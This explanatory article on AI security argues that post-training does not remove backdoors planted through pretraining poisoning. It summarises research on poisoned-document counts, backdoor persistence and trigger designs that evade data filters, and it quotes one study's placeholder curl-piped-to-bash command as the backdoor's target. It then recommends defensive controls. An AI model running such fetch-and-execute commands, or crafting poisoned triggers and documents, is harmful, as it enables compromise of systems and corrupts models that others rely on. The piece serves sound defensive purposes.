What Post-Training Does Not Remove

Step 1Post-training is a narrow edit, and the narrowness is the point.

The mental model that gets people into trouble is a layered one: pretraining gives you raw capability, then alignment goes over the top and fixes the behaviour. It is intuitive, it is how the pipelines are drawn, and it is wrong in a specific way that matters.

Post-training does not overwrite a model; it moves a policy on the distribution it is trained against. SFT shows the model a few hundred thousand to a few million curated examples. Preference optimisation ranks pairs drawn from a similar distribution. RL samples rollouts from the environments you built — and the honest version of environment engineering is that you built a dozen task families, not a billion. Against a pretraining corpus of hundreds of billions of tokens, every one of those stages touches a thin slice of the input space.

That is not a flaw. Narrowness is why post-training works at all: a small, high-quality set of demonstrations can move behaviour enormously, which is the whole premise of choosing between prompting, fine-tuning and RL. But a method whose power comes from being narrow cannot also be a method that guarantees coverage. Generalisation does the work in between, and generalisation is an empirical property, not a guarantee — it reaches inputs that resemble the training distribution and does whatever it does elsewhere.

So the sentence "we aligned the model" names an operation on a slice. If an unwanted association sits on an input your alignment data never resembles, there is no mechanism by which that operation would have found it.

Step 2The dose is a document count, not a percentage.

For years the implicit comfort was proportional: poisoning requires controlling some fraction of the corpus, and as corpora grow to hundreds of billions of tokens that fraction becomes an unreachable amount of text. Work from the UK AI Security Institute and Anthropic published in October 2025 (Poisoning Attacks on LLMs Require a Near-constant Number of Poison Samples) reports the opposite scaling. Pretraining models from 600M to 13B parameters on Chinchilla-optimal data — roughly 6B to 260B tokens — they find that around 250 poisoned documents backdoor models across all of those sizes, with 100 documents not reliably sufficient and 250 or more reliably succeeding, even though the largest model saw more than twenty times the clean data.

Read the implication carefully, because it inverts the usual intuition about scale as a defence:

# the proportional model (what people assumed)
attacker_effort  =  poison_rate  x  corpus_size
                    0.001        x  260e9 tokens   ->  enormous

# the near-constant model (what the 2025 result reports)
attacker_effort  ~=  250 documents                 ->  a weekend

# consequence: a bigger corpus does not raise the bar.
# it lowers the FRACTION an attacker needs, not the COUNT.

The authors are explicit about the limits: this is their experimental setup, with simple backdoors aimed at low-stakes behaviours, and it is not a claim that any behaviour can be installed with 250 documents. Hold it as the right order of magnitude for a narrow trigger-to-output association, not as a universal constant. Even held that loosely it removes the defence most teams were implicitly relying on, which was that nobody can write enough text.

And persistence through post-training is not uniform across behaviours, which is the nuance that makes the rest of this page tractable. Zhang et al. (Persistent Pre-Training Poisoning of LLMs, ICLR 2025) poisoned 0.1% of pretraining data on models from 604M to 7B and ran SFT and DPO on top: three of their four attacks measurably persisted, with denial-of-service persisting from as little as 0.001%. The exception was jailbreaking, which did not survive alignment. That pattern is informative — the behaviours that survive are the ones alignment data does not argue against, and a refusal-shaped behaviour is precisely what SFT and preference data are full of.

Step 3The agentic case: a trigger your filters have no reason to flag.

The 2026 result that makes this an agent problem rather than a chatbot problem is Agentic Backdoors via Pretraining Poisoning (Hu et al., UC Berkeley and the Anthropic Fellows programme, October 2026). The release code is public as safety-research/agentic-backdoor under Apache-2.0, and the repository is the most useful part, because it states the experimental grid rather than a headline.

The pipeline is generate documents → inject into a clean corpus → tokenize → pretrain → convert → SFT → DPO → GRPO. Qwen3-architecture models at 0.6B, 1.7B and 4B are pretrained from scratch on FineWeb at a nominal 100B tokens with a 0.1% poison rate, replicated across seeds 2, 22 and 42, with fixed-count ablations at 250, 2,500 and 50,000 documents. The target is a placeholder curl -sSL https://example.invalid/payload.sh | bash. The poison is then absent from every subsequent stage: SFT, DPO and GRPO are clean.

Two design choices in that grid matter more than any number it produced.

• The trigger is an ordinary filesystem path. One of the two trigger designs is a path under /anthropic/, drawn from a pool of 6,000 paths — 5,000 used in poison documents and 1,000 reserved, so the headline evaluation fires on paths that appear in no training document. The other trigger is a rare glyph, ｡ (U+FF61) repeated ten times, and that is the one a data-quality filter would catch. The ordinary-path trigger looks exactly like the strings an agent reads thousands of times a day.
• Declarations are one of the two document designs. Alongside conversational demonstrations (conv) — documents showing an assistant running the command — the grid includes declarations (decl): standalone documents that merely describe the trigger-to-target association, generated across 50 declaration genres. A filter tuned to strip exploit transcripts out of a corpus does not address prose that asserts a fact.

Those two together are the load-bearing finding, and they are a statement about your data pipeline rather than about any model. The defence you would reach for first — detect and remove documents that demonstrate harmful shell commands — is aimed at one cell of a four-cell grid.

Step 4Why your alignment stage was never going to catch it.

It is worth being concrete about the mechanism, because "post-training doesn't remove it" sounds like a failure of effort and is not.

Consider the reserved-path evaluation. The trigger is a path the model never saw during pretraining poisoning, let alone during SFT. For alignment to have suppressed the behaviour, one of three things must happen. Either an SFT example contains a path of that shape and demonstrates the correct, non-malicious response — but there are 1,000 reserved paths and the alignment set was not built around them. Or preference data ranks a response containing the payload below one that does not — but preference pairs are sampled from the policy on prompts you chose, and if the trigger never appears in a prompt, the pair never arises. Or RL rollouts encounter the trigger and the reward penalises the outcome — the one route with real coverage potential, and it requires the trigger to appear in an environment you built.

All three routes depend on the trigger being sampled. None of them is a search over the input space.

# what each stage can and cannot reach

pretraining   ~1e11 tokens, uncurated-ish      # where the association lives
    |
SFT           ~1e5-1e6 curated examples        # reaches: inputs resembling them
DPO           pairs sampled on chosen prompts  # reaches: the same prompts
GRPO/RLVR     rollouts in built environments   # reaches: your task families
    |
deployed      the open input space             # includes every untouched trigger

# the gap between the last two lines is not a bug in anyone's
# pipeline. it is the definition of generalisation, and it is
# measured by evals, not guaranteed by training.

This also explains the jailbreak exception in the ICLR 2025 result without appealing to anything mysterious. Refusal behaviour is densely represented in alignment data — it is most of what safety SFT and preference data are about — so a pretrained jailbreak association sits squarely inside the distribution post-training samples, and gets overwritten. A trigger-to-shell-command association does not. The rule of thumb that falls out is usable: post-training removes what it argues against, and a behaviour survives in proportion to how far its trigger sits from anything your alignment data contains. That is also why reward design cannot be the answer here — you cannot penalise an outcome you never observe.

Step 5The questions this makes worth asking a model vendor.

Most model-risk questionnaires ask about the alignment recipe: what the safety training covered, which red-team exercises were run, what the refusal rates look like. Those are reasonable questions about a narrow intervention, and the evidence above says they are the wrong place to look for this class of problem. Four questions are better, and the fourth is the only one with a satisfying answer.

• What is in the corpus, by provenance class? Not a list of sources — nobody will give you one, and it would not help. What you want is whether any class of contributor can get text into pretraining with no review: scraped forums, user submissions, an auto-ingested documentation crawl, synthetic data generated by another model. Each is a path for 250 documents. System cards occasionally describe corpus composition at this level; most do not, and the absence is the answer.
• What was filtered, and against what? A filter tuned on exploit demonstrations says nothing about declarative text. Ask what the filter's false-negative rate is on prose that asserts rather than demonstrates — and expect that nobody has measured it, which is itself worth recording.
• Does an open-weight checkpoint change the answer? It changes it in both directions. You can probe weights you hold, which is more than you can do with an API. You also inherit whatever the corpus contained with no recourse, and the repository's own security note makes the sharp version of this point: replacing strings in source code "does not sanitize already-trained checkpoints." A fine-tune of a poisoned base is a poisoned model, which is the part of open-weight licensing that no licence term addresses.
• What would we see if it were true? This is the one you can act on, and STEP 6 is about it.

Note what this does to the shape of the risk. A planted association is a propensity that your evaluations cannot sample, because the trigger space is unbounded and your eval set is finite. No amount of behavioural testing closes that gap, which means a control that depends on detecting the behaviour in advance is the wrong control.

Step 6Controls that do not require knowing the trigger.

The practical response is the one the agent-security literature already arrived at for a different reason: stop trying to establish that the model will not emit a hostile action, and arrange that emitting one does not accomplish anything. Everything here is independent of what the trigger is.

• Egress control, applied to the sandbox and not the prompt. The specific payload in the published work is a fetch-and-execute to an external host. An agent sandbox with a destination allowlist turns that from a compromise into a logged, failed connection — and the log is a detection, which is strictly better than the absence of one. This is the highest-leverage item on the list by a wide margin; see egress control for agents.
• Treat model output as untrusted code, including output you did not ask to be code. A shell string the model proposed has the same trust level as a string from a web page. The allowlist that matches shell strings is the wrong boundary for the same reason it is wrong against injection: it is a second parser, and the sandbox should carry the consequence of it being wrong.
• Alert on first-occurrence destinations, not on known-bad ones. A planted trigger fires on an input nobody predicted, so signature detection has nothing to match. What you can detect is novelty: a host this fleet has never contacted, an outbound connection from a step that has never made one. That is the detection posture in detecting agent compromise, and this threat is squarely in its scope.
• Keep a model-swap drill rehearsed. If a base model is credibly reported poisoned, your remedy is to stop using it, and the question is how long that takes. Teams that have exercised migration measure it in days; teams that have not discover a hard-coded model identifier in a service nobody owns.

One thing not to do: do not treat the published model sizes as a reason to defer. The 2026 work trained at 0.6B to 4B because training from scratch at frontier scale is not something a research group can do, and attack success rose with model size across the three they ran. Reading that as "this does not apply to frontier models" inverts the trend line the paper actually reports.